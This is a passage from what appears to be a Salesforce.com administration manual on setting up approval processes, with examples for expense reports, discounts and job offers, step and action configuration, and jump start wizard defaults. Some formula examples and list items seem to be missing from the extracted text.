and administrators can see the Recall Approval Request button in the Approval History related list on the detail
page of submitted records; otherwise, only administrators can see it. When a user clicks Recall Approval Request,
the pending approval request for the record is withdrawn and recall actions are run. For more information, see
Recall Actions on page 1468.
• Add the Approval History related list to the PTO Request object page layout. See Customizing Page Layouts on page
1014.
• Consider adding the Items To Approve related list to your custom home page layouts. It gives users an instant view of the
approval requests they need to approve or reject. For instructions on adding this component to your home page layouts,
see Designing Home Tab Page Layouts on page 1042.
• If available, use your sandbox to test the approval process.
• Activate the approval process.
Expense Reports
If your company requires that employees file expense reports for managers to approve, automate this process in Salesforce.com.
Use this example to create a two-step expense report approval process for all employees in your headquarters office. It specifies
that expenses less than $50.00 are automatically approved, those $50 and over require manager approval, and those over $5,000
require additional approval from two VPs. This example highlights the “else” option, as well as the parallel approvals feature.
• If you do not yet have a custom object to track your expenses, create a custom object and tab called Expense Reports. See
Defining Custom Objects on page 1369 and Defining Custom Tabs on page 1394. Add the appropriate fields such as Amount,
Description, Status, Start Date, and End Date.
• Create an email template to notify approvers that an approval request needs to be reviewed. Be sure to include one of the
approval process merge fields to take users directly to the approval page. See Managing Email Templates on page 423.
1448
Create Getting Started with Approval Processes
• Create a custom field on the user object called Office Location. Assign the “HQ” value to users in the headquarters
office location.
• Create the approval process and specify the following:
- Select Enter this step if the following and choose criteria are met. Also, choose approve record
for the else option.
- Set the filter criteria to: Expense: Amount greater or equal 50.
- In the Automatically assign to approver(s) option, select the manager of the user submitting the
request.
- If appropriate, choose The approver's delegate may also approve this request if you want
to allow the user in the Delegated Approver field to approve requests.
• Add the Approval History related list to the Expense Report object page layout. See Customizing Page Layouts on page
1014.
• Consider adding the Items To Approve related list to your custom home page layouts. It gives users an instant view of the
approval requests they need to approve or reject. For instructions on adding this component to your home page layouts,
see Designing Home Tab Page Layouts on page 1042.
• If available, use your sandbox to test the approval process.
• Activate the approval process.
1449
Create Getting Started with Approval Processes
Discounting Opportunities
Opportunities that are discounted more than 40% require a CEO approval. Use this example to create a one-step approval
process.
• Create an email template to notify approvers that an approval request needs to be reviewed. Be sure to include one of the
approval process merge fields to take users directly to the approval page. See Managing Email Templates on page 423.
• Create a custom percent field on opportunities called Discount Percent so that users can enter a percentage discount.
• Create a custom checkbox field on opportunities called Discount Approved to indicate if the CEO approved the
discount.
• Create the approval process and specify the following:
- Send an approval notification to the user who submitted the discount request.
- Define a field update to automatically select the opportunity Discount Approved checkbox field.
• Add the Approval History related list to the appropriate opportunity page layouts See Customizing Page Layouts on page
1014.
• Consider adding the Items To Approve related list to your custom home page layouts. It gives users an instant view of the
approval requests they need to approve or reject. For instructions on adding this component to your home page layouts,
see Designing Home Tab Page Layouts on page 1042.
• If available, use your sandbox to test the approval process.
• Activate the approval process.
Job Candidates
When your company interviews candidates for a position, you may have several levels of approval before you can send an offer
letter. Use this example to create a three-step approval process that requires approval from multiple levels of management.
• If you do not yet have a custom object to track candidates, create a custom object and tab called Candidates. See Defining
Custom Objects on page 1369 and Defining Custom Tabs on page 1394. Add the appropriate fields such as Salary, Offer
Extended (checkbox), and Date of Hire.
• Create an email template to notify approvers that an approval request needs to be reviewed. Be sure to include one of the
approval process merge fields to take users directly to the approval page. See Managing Email Templates on page 423.
1450
Create Getting Started with Approval Processes
- Send an approval notification to the user who submitted the offer letter request.
- Define a field update to select the Offer Extended checkbox field.
- Send a notification to the manager that the offer will not be extended.
• Add the Approval History related list to the Candidates object page layout. See Customizing Page Layouts on page 1014.
• Consider adding the Items To Approve related list to your custom home page layouts. It gives users an instant view of the
approval requests they need to approve or reject. For instructions on adding this component to your home page layouts,
see Designing Home Tab Page Layouts on page 1042.
1451
Create Getting Started with Approval Processes
Approval processes require planning and preparation. Before you create an approval process, determine which wizard is best
for your needs.
Jump Start Wizard
The jump start wizard is useful for simple approval processes with a single step. Use the jump start wizard if you want
to create an approval process quickly by allowing Salesforce.com to automatically choose some default options for you.
For a list of the options the jump start wizard chooses automatically, see Approval Process Jump Start Default Selections
on page 1475.
To create an approval process using the jump start wizard, see Using the Approval Process Jump Start Wizard on page
1472.
Standard Wizard
The standard wizard is useful for complex approval processes. Use it when you want to fine tune the steps in your approval
process. The standard wizard consists of a setup wizard that allows you to define your process and another setup wizard
that allows you to define each step in the process.
To create an approval process using the standard wizard, see Creating Approval Processes on page 1455.
See Also:
Approval Processes Overview
Getting Started with Approval Processes
Examples of Approval Processes
Before you implement an approval process for your organization, consider the following:
1452
Create Getting Started with Approval Processes
• Active approval processes cannot be deleted but they can be deactivated. Before deleting an approval process, make sure
it is inactive and that no records have been submitted for approval. If any records have been submitted, delete them and
remove them from the Recycle Bin.
• You can enable email approval response. The email approval response feature gives users the ability to approve or reject
email approval requests by replying to the email.
• After an approval process is activated, you can't add, delete, or change the order of the steps or change reject or skip behavior
for that process, even if you make the process inactive.
• There is a limit of 15 approval steps per approval process.
• There is a limit of 25 approvers per step.
• Educate your users on the criteria for each approval process and what each of your approval processes does. Users cannot
tell what approval process is triggered when they click Submit for Approval.
• Records are locked while in an approval process. The ability to edit a locked record depends on the record editability setting
of the approval process:
- Administrators ONLY: Only users with the “Modify All” object-level permission for the given object, or the “Modify
All Data” permission, can edit locked records.
- Administrators or the currently assigned approver...: The current approver and users who match
the Administrators ONLY criteria can edit locked records. The current approver must also have edit access to the
record through their profile permissions and the organization-wide sharing defaults for the given object.
You can still add campaign members to campaigns locked for approval.
• An error message displays for the user submitting an approval request if the approval request needs to go to the user's direct
manager and there is no direct manager for that user.
• An error message displays for the user submitting an approval request if the approval process has a field update that fails
field validation rules. This could happen for a field that is not visible on the user's page layout.
• An error message displays for the user submitting an approval request for an entitlement or service contract if both these
conditions are met:
• The Status field cannot be updated by approval processes. If you want to use the contract status as part of an approval
process, Salesforce.com recommends creating a custom status field.
• Approval processes that allow the user to select an approver manually also allow the user submitting a request to select
himself or herself as the approver.
• You cannot use email approval response with approval processes in which the assigned approver is a queue.
• You cannot create outbound messages for approval processes on junction objects.
• When the assigned approver is a queue:
- Any queue member can approve or reject an approval request that is assigned to the queue.
- When an approval request is assigned to a queue, the email notification is sent to the email address for the queue.
Depending on your queue settings, an email notification is also sent to each queue member.
- When an approval request is rejected and returned to the previous approver and the previous approver was a queue, the
approval request is assigned to the user who approved it, instead of the queue.
- The Approval History related list displays the queue name in the Assigned To column and the actual user who
approved or rejected the approval request in the Actual Approver column.
- Delegates of all queue members can approve requests when the process step is configured to allow delegated approvers.
1453
Create Managing Approval Processes
Note: Queues are only available on specific objects. For more information on queues, see Managing Queues on
page 500.
See Also:
Getting Started with Approval Processes
Approval Process Terminology
Approval Processes Overview
Using the Process Visualizer
Examples of Approval Processes
An approval process is an automated process your organization can use to approve records in Salesforce.com. An approval
process specifies the steps necessary for a record to be approved and who must approve it at each step. A step can apply to all
records included in the process, or just records that have certain attributes. An approval process also specifies the actions to
take when a record is approved, rejected, recalled, or first submitted for approval.
To manage approval processes, click Setup ➤ Create ➤ Workflow & Approvals ➤ Approval Processes.
• Select an object from the drop-down list to create, edit, or delete approval processes for that object.
• To create a new approval process, click Create New Approval Process. See Creating Approval Processes on page 1455.
• To change the order of your active approval processes, change the numbers in the Process Order column and click Reorder.
• Click Del next to an inactive approval process to delete it. Before deleting an approval process, make sure it is inactive and
that no records have been submitted for approval. If any records have been submitted, delete them and remove them from
the Recycle Bin.
• Click Edit next to an approval process to change it.
• Click Activate next to an inactive approval process to activate it. An approval process must have at least one step before
you can activate it.
• Click Deactivate next to an active approval process to make it inactive. The approval process moves to the list of inactive
approval processes.
• Select an approval process to view the details:
- Click Clone to create a new approval process based on the selected approval process.
- Click Deactivate to make the approval process inactive.
1454
Create Managing Approval Processes
- Click Delete to delete an inactive approval process. Before deleting an approval process, make sure it is inactive and
that no records have been submitted for approval. If any records have been submitted, delete them and remove them
from the Recycle Bin.
- Click Edit and choose an option from the drop-down button to jump to the appropriate wizard page:
Tip: You can use the System Log console to debug workflow rules. The System Log console lets you view debug log
details and information about workflow rules and actions , such as the name of the user who triggered the workflow
rule and the name and ID of the record being evaluated.
See Also:
Getting Started with Approval Processes
Approval Process Terminology
Approval Process Checklist
Managing Multiple Approval Requests
Using the Process Visualizer
Examples of Approval Processes
An approval process is an automated process your organization can use to approve records in Salesforce.com. An approval
process specifies the steps necessary for a record to be approved and who must approve it at each step. A step can apply to all
records included in the process, or just records that have certain attributes. An approval process also specifies the actions to
take when a record is approved, rejected, recalled, or first submitted for approval.
Before you begin, determine which wizard to use. See Choosing an Approval Process Wizard on page 1452.To create an approval
process:
1455
Create Managing Approval Processes
2. Click Next. If you are editing an existing approval process and do not want to make further changes, click Save to store
your changes.
• Select formula evaluates to true if you want a formula to determine what records enter the approval process.
1. Enter a formula that returns “True” or “False.” A record enters the approval process if the formula returns “True.” For
example, use the following formula to require a record to enter this approval process when the record's discount approval
cutoff date is less than 30 days away:
1456
Create Managing Approval Processes
2. Click Next. If you are editing an existing approval process and do not want to make further changes, click Save to store
your changes.
For information on using formulas, see Building Formulas on page 878. Some functions are not available in approval process
formulas. For information on which functions you can use in approval process formulas, see Operators and Functions on
page 931.
• Optionally, select the Use Approver Field of Record Owner checkbox if you want the approval process to use
the Manager standard user field or custom field on the record owner's user record instead of the submitter's user record.
Once you use this setting in a step, and in subsequent steps, it refers to the manager of the approver, not the manager
of the record owner.
Note: Make sure the assigned approver has access to read the records for the approval requests. For example, a
user who does not have read access to an Expenses custom object will not be able to view expense approval requests.
2. Select Administrators ONLY... if you want only users with the “Modify All” object-level permission for the given
object, or the “Modify All Data” permission, to be able to edit records that are pending approval. Select Administrators
OR... if you want the assigned approver to be able to edit the records too. The assigned approver must also have edit
access to the record through both their profile permissions and the organization-wide sharing defaults for the given object.
When a record is submitted for approval, it is automatically locked to prevent other users from editing it during the approval
process.
3. Click Next. If you are editing an existing approval process and do not want to make further changes, click Save to store
your changes.
1457
Create Managing Approval Processes
1. Choose a custom email template to use when notifying approvers that an approval request is assigned to them, or leave
this field blank to use the default email template. Each approval process uses a single email template for all steps. For more
information on creating email templates, see Managing Email Templates on page 423.
Note: If email approval response is enabled, be sure the email template you use describes how to correctly use both
response options: clicking the link and replying by email. If the user does not respond correctly (for example, if the
user misspells approve or types it on the wrong line), Salesforce.com does not register the user's response.
If the email template you choose contains approval merge fields named {!ApprovalRequest.field_name},
these fields will return values only when that email template is used as the approval assignment template. If you
use the template for any other email alert action—in either workflow rules or approval processes—the merge fields
will return a null value.
2. Click Next. If you are editing an existing approval process and do not want to make further changes, click Save to store
your changes.
Allow approvers to access the approval page only from within the application, or
externally from a wireless-enabled mobile device
Users can approve requests from the email notification they receive via a wireless device. Note that this prevents the
approver from selecting a Salesforce.com user as the next approver.
6. Click Next. If you are editing an existing approval process and do not want to make further changes, click Save to store
your changes.
1458
Create Managing Approval Processes
4. Click Save.
See Also:
Getting Started with Approval Processes
Managing Approval Processes
Managing Approval Steps
Customizing Workflow and Approval Settings
Initial Submission Actions
Final Approval Actions
Final Rejection Actions
Recall Actions
Selecting Approval Actions
Creating Approval Actions
Using the Process Visualizer
Approval Process Considerations
Examples of Approval Processes
Approval steps assign approval requests to various users and define the chain of approval for a particular approval process.
Each approval step specifies the attributes a record must have to advance to that approval step, the user who can approve
requests for those records, and whether to allow the delegate of the approver to approve the requests. The first approval step
in a process also specifies the action to take if a record does not advance to that step. Subsequent steps in the process also allow
you to specify what happens if an approver rejects the request.
To manage the steps for an approval process, click Setup ➤ Create ➤ Workflow & Approvals ➤ Approval Processes and
then select the approval process.
1459
Create Managing Approval Processes
The Approval Steps related list shows all the steps and actions for the approval process.
• If the actions for each step are not listed, click Show Actions to display the Approval Actions and Rejection Actions related
lists. Use these related lists to:
- Click Edit to change an action. Any changes you make to an action affect any other approval processes or workflow
rules that use it. This option is only available for some types of actions.
- Click Remove to remove the action from the approval process. This does not delete the action. This option is only
available for some types of actions.
- Click Add Existing to add another action to the list of actions. See Selecting Approval Actions on page 1469.
- Click Add New and select the appropriate type to create a new action and associate it with the approval process. See
Creating Approval Actions on page 1471.
See Also:
Approval Process Terminology
Getting Started with Approval Processes
Using the Process Visualizer
Examples of Approval Processes
Approval steps assign approval requests to various users and define the chain of approval for a particular approval process.
Each approval step specifies the attributes a record must have to advance to that approval step, the user who can approve
requests for those records, and whether to allow the delegate of the approver to approve the requests. The first approval step
in a process also specifies the action to take if a record does not advance to that step. Subsequent steps in the process also allow
you to specify what happens if an approver rejects the request.
The actions you associate with an approval step can be reused in workflow rules. To create approval steps:
1. Click Setup ➤ Create ➤ Workflow & Approvals ➤ Approval Processes, and select the name of the approval process.
2. Click New Approval Step from the Approval Steps related list. If this button is not available, the approval process is active
and you cannot add more steps. There is a limit of 15 approval steps per approval process.
3. Enter a name, a unique name, and description for this step.
1460
Create Managing Approval Processes
Note: The Unique Name field can contain only underscores and alphanumeric characters. It must be unique
within the selected object type, begin with a letter, not include spaces, not end with an underscore, and not contain
two consecutive underscores. The unique name will be used to refer to this specific approval process step in the
Force.com API. In managed packages, this unique name prevents naming conflicts on package installations. The
requirement for uniqueness is only within a specific approval process. You can have two approval process steps
with the same unique name, provided they are defined for different approval processes.
4. Enter a step number that determines the order of this step in relation to the other steps in this approval process.
5. Click Next.
6. If only records with certain attributes should enter this step, select Enter this step if the following... and
choose one of the following options:
• Select criteria are met and set the filter criteria a record must meet to enter this step. For example, if this step
should only apply to records submitted by employees from headquarters, enter the following filter criteria: Current
User: Office Location Equals Headquarters. For more information on using filter criteria, see Entering
Filter Criteria on page 2163.
• Select formula evaluates to true and enter a formula that returns a value of “True” or “False.” Records enter
this step only if the formula returns“True.” For example, use the following formula to require a record to enter this
approval step when the record's discount percentage is greater than the most recent approver's discount threshold:
For information on using formulas, see Building Formulas on page 878. Some functions are not available in approval
step formulas. For information on which functions you can use in approval step formulas, see Operators and Functions
on page 931.
7. If you specified filter criteria or entered a formula, choose what should happen to records that do not meet the criteria or
if the formula does not return “True.”
Note: You cannot change your selection after the approval process has been activated, even if you deactivate the
approval process.
reject record
Automatically rejects the request and performs all final rejection actions. This option is only available for the first
step in the approval process.
go to next step
Automatically skips this step and goes to the next step.
Important:
• The go to next step option is only available when editing a step that already has an ensuing step. To
select go to next step, create an ensuing step, then select this option in the preceding step.
• The go to next step option is unavailable for the final step in the approval process.
1461
Create Managing Approval Processes
• If you select go to next step in a step and delete all the ensuing steps, Salesforce.com automatically
removes the go to next step definition from that step and ends the process if the step criteria are not
met. However, if you select go to next step in your first step and delete all the ensuing steps, Salesforce.com
changes the first step to automatically reject record if the step criteria are not met.
• If you select go to next step in the first step and the record does not meet the criteria for any of the steps
in the approval process, the record is rejected.
8. Click Next.
9. Specify who must approve the approval requests that enter this step. The options are:
Let the submitter choose the approver manually.
Prompts the user to manually select the next approver.
Related User
A user specified in any user lookup field on the submitted record, such as the Last Modified By field.
Use Add Row and Remove Row to change the number of approvers. There is a limit of 25 approvers per step.
• Make sure the assigned approvers have permission to read the records for the approval request. For example,
a user who does not have read access to an Expense custom object can't view expense approval requests.
• You can't assign approval requests to partner users.
• You can't use email approval response with an approval process in which a queue is the assigned approver.
• You can assign an approval request to the same user multiple times in a single step; however, Salesforce.com
recognizes such redundancies and only requests a single approval from the user.
• After a record enters an approval step, the designated approvers for that step don't change even if the approval
process returns to that step and the values of related user fields that designate the approvers have changed. For
example, consider an approval process in which the first step requests approval from a user's manager. If the
approval request is rejected in the second step and sent back to the first step, the user's original manager receives
the approval request again even if the user's manager has changed.
10. If you specify multiple approvers in the Automatically assign to approver(s) option, choose one of the following:
Approve or reject based on the first response.
The first response to the approval request determines whether the record is approved or rejected.
1462
Create Managing Approval Processes
Note: If this is the first step in an approval process, the rejection behavior is determined by the Final Rejection
Actions for the approval process.
Approval actions execute when a record in this step of the approval process is approved. Rejection actions execute when a
record in this step is rejected. For instructions on adding actions, see Selecting Approval Actions on page 1469 and Creating
Approval Actions on page 1471.
15. Optionally, add additional approval actions and rejection actions to the step. Click Show Actions next to a step to view
the Approval Actions and Rejection Actions related lists.
See Also:
Approval Process Terminology
Getting Started with Approval Processes
Managing Approval Steps
Managing Approval Processes
Using the Process Visualizer
Examples of Approval Processes
1463
Create Managing Approval Processes
The Approver Settings section of the User detail page lets you set your preferences for receiving approval request emails,
including opting not to receive them at all.
To set up or edit your Approver Settings, click Setup ➤ My Personal Information ➤ Personal Information. Click Edit on
the User detail page.
In the Approver Settings section, you can:
- Only if I am an approver
- Never—If you select this option, you will not receive any approval request emails, even if your organization has email
approval response enabled. However, if the assignee of an approval step is a queue, selecting Never may not block all
approval request emails, depending the queue settings.
See Also:
Managing Approval Steps
Creating Approval Steps
Approval Process Terminology
Setting Up Queues
Initial submission actions are the actions that occur when a user first submits a record for approval. By default, an action to
lock the record runs automatically on initial submission. Initial submission actions can include any approval actions such as
1464
Create Managing Approval Processes
email alerts, field updates, tasks, or outbound messages. For example, an initial submission action can update a custom approval
status field to “In Progress.”
When a user submits a record for approval, Salesforce.com sends an approval request email to the approver as defined in the
approval step, and then executes a default initial submission action called Record Lock. You can select up to 40 additional
actions to occur when a record is initially submitted for approval, 10 of each of the following types:
Type Description
Task Assigns a task to a user you specify. You can specify the Subject, Status, Priority, and
Due Date of the task.
Email Alert Uses an email template you specify to send an email to a designated recipient.
Field Update Changes the value of a selected field. You can specify a value or create a formula for the new
value.
Outbound Message Sends a message to an endpoint you designate. You can also specify a username and the data
you want to include in the message.
To manage the initial submission actions for an approval process, click Setup ➤ Create ➤ Workflow & Approvals ➤
Approval Processes and select the approval process.
The Initial Submission Actions related list shows all the actions that take place when a record is submitted for approval.
• Click Edit to change an action. Any changes you make to an action affect any other approval processes or workflow rules
that use it. This option is only available for some types of actions.
• Click Remove to remove the action from the approval process. This does not delete the action. This option is only available
for some types of actions.
• Click Add Existing to add another action to the list of actions. See Selecting Approval Actions on page 1469.
• Click Add New and select the appropriate type to create a new action and associate it with the approval process. Next,
configure the action:
See Also:
Approval Process Terminology
Getting Started with Approval Processes
Managing Approval Steps
Managing Approval Processes
Using the Process Visualizer
1465
Create Managing Approval Processes
Final approval actions are the actions that occur when all required approvals have been given for a record. Final approval actions
can include email alerts, field updates, tasks, or outbound messages. For example, a final approval action can change the status
to “Approved” and send an email notification.
When a record has been approved by all approvers, Salesforce.com executes all final approval actions. A default final approval
action called Record Lock is selected for you. You can modify it to automatically lock or unlock the record. You can select up
to 40 additional actions to occur when a record is finally approved, 10 of each of the following types:
Type Description
Task Assigns a task to a user you specify. You can specify the Subject, Status, Priority, and
Due Date of the task.
Email Alert Uses an email template you specify to send an email to a designated recipient.
Field Update Changes the value of a selected field. You can specify a value or create a formula for the new
value.
Outbound Message Sends a message to an endpoint you designate. You can also specify a username and the data
you want to include in the message.
To manage the final approval actions for an approval process, click Setup ➤ Create ➤ Workflow & Approvals ➤ Approval
Processes, and select the approval process.
The Final Approval Actions related list shows all the actions that take place when a record is finally approved.
• Click Edit to change an action. Any changes you make to an action affect any other approval processes or workflow rules
that use it. This option is only available for some types of actions.
• Click Remove to remove the action from the approval process. This does not delete the action. This option is only available
for some types of actions.
• Click Add Existing to add another action to the list of actions. See Selecting Approval Actions on page 1469.
• Click Add New and select the appropriate type to create a new action and associate it with the approval process. Next,
configure the action:
1466
Create Managing Approval Processes
See Also:
Approval Process Terminology
Getting Started with Approval Processes
Managing Approval Steps
Managing Approval Processes
Using the Process Visualizer
Final rejection actions are the actions that occur when an approver rejects the request and it goes to the final rejection state.
Final rejection actions can include email alerts, field updates, tasks, or outbound messages. For example, a final rejection action
can change the status to “Rejected,” send an email notification, and unlock the record so that users can edit it before resubmitting.
When a record has been rejected by all approvers, Salesforce.com executes all final rejection actions. A default final rejection
action called Record Lock is selected for you. You can modify it to automatically lock or unlock a record. You can select up
to 40 additional actions to occur when a record is rejected, 10 of each of the following types:
Type Description
Task Assigns a task to a user you specify. You can specify the Subject, Status, Priority, and
Due Date of the task.
Email Alert Uses an email template you specify to send an email to a designated recipient.
Field Update Changes the value of a selected field. You can specify a value or create a formula for the new
value.
Outbound Message Sends a message to an endpoint you designate. You can also specify a username and the data
you want to include in the message.
To manage the final rejection actions for an approval process, click Setup ➤ Create ➤ Workflow & Approvals ➤ Approval
Processes and select the approval process.
• The Final Rejection Actions related list shows all the actions that take place when a record is finally rejected.
• Click Edit to change an action. Any changes you make to an action affect any other approval processes or workflow rules
that use it. This option is only available for some types of actions.
• Click Remove to remove the action from the approval process. This does not delete the action. This option is only available
for some types of actions.
1467
Create Managing Approval Processes
• Click Add Existing to add another action to the list of actions. See Selecting Approval Actions on page 1469.
• Click Add New and select the appropriate type to create a new action and associate it with the approval process. Next,
configure the action:
See Also:
Approval Process Terminology
Getting Started with Approval Processes
Managing Approval Steps
Managing Approval Processes
Using the Process Visualizer
Recall Actions
Recall actions are the actions that occur when a submitted approval request is recalled. By default, an action to unlock the
record runs automatically on recall. Recall actions can include email alerts, field updates, tasks, or outbound messages. For
example, a recall action can change the status of a request from “In Progress” to “Not Submitted.”
If the Allow submitters to recall approval requests option is selected for the approval process, both submitters and administrators
can see the Recall Approval Request button in the Approval History related list on the detail page of submitted records;
otherwise, only administrators can see it. When a user clicks Recall Approval Request, the pending approval request for the
record is withdrawn and recall actions are run.
When a record has been recalled after submission, Salesforce.com executes all recall actions, including unlocking the record.
You can select up to 40 additional actions to occur when a record is recalled, 10 of each of the following types:
Type Description
Task Assigns a task to a user you specify. You can specify the Subject, Status, Priority, and
Due Date of the task.
Email Alert Uses an email template you specify to send an email to a designated recipient.
Field Update Changes the value of a selected field. You can specify a value or create a formula for the new
value.
1468
Create Managing Approval Processes
Type Description
Outbound Message Sends a message to an endpoint you designate. You can also specify a username and the data
you want to include in the message.
To manage recall actions for an approval process, click Setup ➤ Create ➤ Workflow & Approvals ➤ Approval Processes,
and select the approval process.
The Recall Actions related list shows all the actions that take place when a record is recalled.
• Click Edit to change an action. Any changes you make to an action affect any other approval processes or workflow rules
that use it. This option is only available for some types of actions.
• Click Remove to remove the action from the approval process. This does not delete the action. This option is only available
for some types of actions.
• Click Add Existing to add another action to the list of actions. See Selecting Approval Actions on page 1469.
• Click Add New and select the appropriate type to create a new action and associate it with the approval process. Next,
configure the action:
See Also:
Approval Process Terminology
Getting Started with Approval Processes
Managing Approval Steps
Managing Approval Processes
Using the Process Visualizer
Type Description
Task Assigns a task to a user you specify. You can specify the Subject, Status, Priority, and
Due Date of the task.
1469
Create Managing Approval Processes
Type Description
Email Alert Uses an email template you specify to send an email to a designated recipient.
Field Update Changes the value of a selected field. You can specify a value or create a formula for the new
value.
Outbound Message Sends a message to an endpoint you designate. You can also specify a username and the data
you want to include in the message.
You can associate approval actions with approval steps, initial submission, final approval, final rejection, and recall. You can
also reuse these actions for workflow rules. Before you begin, click Setup ➤ Create ➤ Workflow & Approvals ➤ Approval
Processes and select the approval process you want associated with the actions.
To select an approval action:
1. Click Add Existing from the appropriate related list on the detail page of any approval process. If the Add Existing button
does not appear on an approval step, click Show Actions.
Alternatively, click Add New to create a new action and apply it to the selected approval process. For instructions on
creating actions, see Creating Approval Actions on page 1471.
2. Choose the type of action.
3. Select the action in the list of available actions and click Add to add the action to the list of selected actions.
4. Click Save.
Note: On the detail page of an approval process, click View Diagram to open the Process Visualizer. It presents a
graphical version of the steps and actions that comprise the approval process.
See Also:
Managing Workflow and Approvals
Managing Approval Processes
Approval Processes Overview
Approval Process Terminology
Using the Process Visualizer
1470
Create Managing Approval Processes
Create approval actions to associate with approval steps, initial submission, final approval, final rejection, or recall. For example,
you may have an expense approval process in Salesforce.com that you want to send an outbound message to your Oracle
accounting service to print expense checks when expense approval requests are approved.
To create an approval action:
Note: The actions you create for approval processes can be reused in workflow rules.
See Also:
Managing Workflow and Approvals
Managing Approval Processes
Approval Processes Overview
Approval Process Terminology
Using the Process Visualizer
1471
Create Managing Approval Processes
The Approval Process Jump Start Wizard helps you create a simple one-step approval process in just a few clicks. However,
to make your process as functional and complete as possible, there are a few things you should do first:
1. If you would like to automate approval routing, you can use the standard manager field, or create a custom hierarchy field
on the user object.
2. Create an email template to notify an approver that they need to approve or reject a step in an approval process. Remember
to add approval merge fields so an approver can go to the approval page directly from the email. If your organization has
enabled email approval response, be sure the email template you use describes how to correctly use both response options:
clicking the link and replying by email. For information on email templates, see Managing Email Templates on page 423.
For information on email approval response, see Customizing Workflow and Approval Settings on page 1410.
3. Create an email template as confirmation to a record owner that a step of theirs in the approval process has been approved
or rejected.
4. Create the workflow actions you want to occur while a record is in the process of being approved. For more information,
see Managing Workflow and Approvals on page 1399.
Design your approval process quickly using the jump start wizard. It automates the process of creating an approval process by
choosing some default options for you. For a list of the options the jump start wizard chooses automatically, see Approval
Process Jump Start Default Selections on page 1475.
To use the jump start wizard to create an approval process:
1472
Create Managing Approval Processes
Note: If email approval response is enabled, be sure the email template you use describes how to correctly use both
response options: clicking the link and replying by email. If the user does not respond correctly (for example, if the
user misspells approve or types it on the wrong line), Salesforce.com does not register the user's response.
If the email template you choose contains approval merge fields named {!ApprovalRequest.field_name},
these fields will return values only when that email template is used as the approval assignment template. If you
use the template for any other email alert action—in either workflow rules or approval processes—the merge fields
will return a null value.
7. Select Add Approval History Related List... to update all the page layouts for this object to include a related
list that allows users to submit approval requests and track them.
8. If only certain types of records should enter this approval process, do one of the following:
• Select criteria are met if you want to set a filter criteria that a record must meet to enter this approval process.
For example, if only employees from headquarters should use this approval process to submit expense reports, enter
the following filter criteria: “Current User: Office Location Equals Headquarters.” For more information on using filter
criteria, see Entering Filter Criteria on page 2163.
a. Enter your filter criteria for records that you want included in this approval process. Leave the filter blank if you
want all records submitted to be included in the approval process. For information on using filter criteria, see
Entering Filter Criteria on page 2163.
Note: Select a current user field if you want the filter based on the user submitting an approval request.
b. Click Next. If you are editing an existing approval process and do not want to make further changes, click Save to
store your changes.
• Select formula evaluates to true if you want a formula to determine what records enter the approval process.
a. Enter a formula that returns “True” or “False.” A record enters the approval process if the formula returns “True.”
For example, use the following formula to require a record to enter this approval process when the record's discount
approval cutoff date is less than 30 days away:
b. Click Next. If you are editing an existing approval process and do not want to make further changes, click Save to
store your changes.
For information on using formulas, see Building Formulas on page 878. Some functions are not available in approval
process formulas. For information on which functions you can use in approval process formulas, see Operators and
Functions on page 931.
9. Select the assigned approver(s) for approval requests created by this step. The assigned approvers are the users or members
of a queue responsible for approving records that enter this step. The options are:
Let the submitter choose the approver manually.
Prompts the user to manually select the next approver.
1473
Create Managing Approval Processes
Alternatively, you may want approval requests automatically routed to an associate specified in a custom Account
Manager user field.
To create a new custom field, click Create New Field from this option. For information on creating a custom
field, see Creating Custom Fields on page 812.
Related User
A user specified in any user lookup field on the submitted record, such as the Last Modified By field.
Use Add Row and Remove Row to change the number of approvers. There is a limit of 25 approvers per step.
• Make sure the assigned approvers have permission to read the records for the approval request. For example,
a user who does not have read access to an Expense custom object can't view expense approval requests.
• You can't assign approval requests to partner users.
• You can't use email approval response with an approval process in which a queue is the assigned approver.
• You can assign an approval request to the same user multiple times in a single step; however, Salesforce.com
recognizes such redundancies and only requests a single approval from the user.
• After a record enters an approval step, the designated approvers for that step don't change even if the approval
process returns to that step and the values of related user fields that designate the approvers have changed. For
example, consider an approval process in which the first step requests approval from a user's manager. If the
approval request is rejected in the second step and sent back to the first step, the user's original manager receives
the approval request again even if the user's manager has changed.
10. If you specify multiple approvers in the Automatically assign to approver(s) option, choose one of the following:
Approve or reject based on the first response.
The first response to the approval request determines whether the record is approved or rejected.
1474
Create Managing Approval Processes
See Also:
Choosing an Approval Process Wizard
Creating Approval Processes
Examples of Approval Processes
Using the Process Visualizer
The jump start wizard automates creating an approval process by automatically choosing some default options for you. When
you use the jump start wizard, your approval process will have the following attributes:
• Users must have the “Modify All” object-level permission for the given object, or the “Modify All Data” permission, to
edit records that are awaiting approval in the approval process.
• The approval request page layout displays the record name (or number), owner, date created, and approval history.
• The security settings prevent an approver from accessing the approval page externally from a wireless-enabled mobile
device.
• The owner of a record is the only person who can submit an approval request.
• Records are locked when submitted for approval.
• Records remain locked until approved or rejected.
• Rejected records are unlocked.
• Only administrators can recall a record after it is submitted for approval.
• There are no auto-approve or auto-reject actions.
• No email notification is sent upon approval or rejection.
• No field values are automatically updated during the approval process.
• An approver cannot automatically delegate another user to approve his or her approval requests.
• The Allow submitters to recall approval requests option is not selected.
After creating an approval process using the jump start wizard, you can change any of the above attributes by clicking Edit
from any approval process list page, and you can add additional steps from the approval process detail page. However, you
cannot edit the Record Lock action on the Initial Submission Actions list.
1475
Create Processing Approval Requests
Use the Process Visualizer to display a graphical version of an approval process. The view-only diagram is presented as a
flowchart. The diagram and informational sidebar can help you visualize and understand the defined steps, rule criteria, and
actions that comprise your approval process.
See Also:
Using the Approval Process Jump Start Wizard
Choosing an Approval Process Wizard
Your administrator can set up an approval process that allows you to submit records for approval. Depending on the approval
process settings, records may need to have specific attributes before you can submit them. Also, a single record may need to
go through several layers of approval.
Depending on the approval process settings, you can submit, recall, reassign, approve, or reject approval requests using the
Approval History related list on a record detail page; see Approval History on page 1478. You can also manage your assigned
approval requests from the Items To Approve related list on the Home tab; see Items To Approve on page 1477.
Approving Requests
If you are the assigned approver for an approval request, you will receive an email notification. To approve requests:
1. Click the link supplied in the email notification for an approval request. If there is no link in the email notification, contact
your administrator.
2. Click Approve.
3. Enter any comments you want attached to the approval request.
4. When available, select the next approver.
5. Click Approve.
If email approval response is enabled, you can alternatively reply to the email notification by typing the word approve,
approved, or yes in the first line of the email body, and optionally adding comments in the second line.
Note: Approval request comments are limited to 4,000 characters. In Chinese, Japanese, or Korean, the limit is 1,333
characters.
Rejecting Requests
If you are the assigned approver for an approval request, you will receive an email notification. To reject requests:
1. Click the link supplied in the email notification for an approval request. If there is no link in the email notification, contact
your administrator.
1476
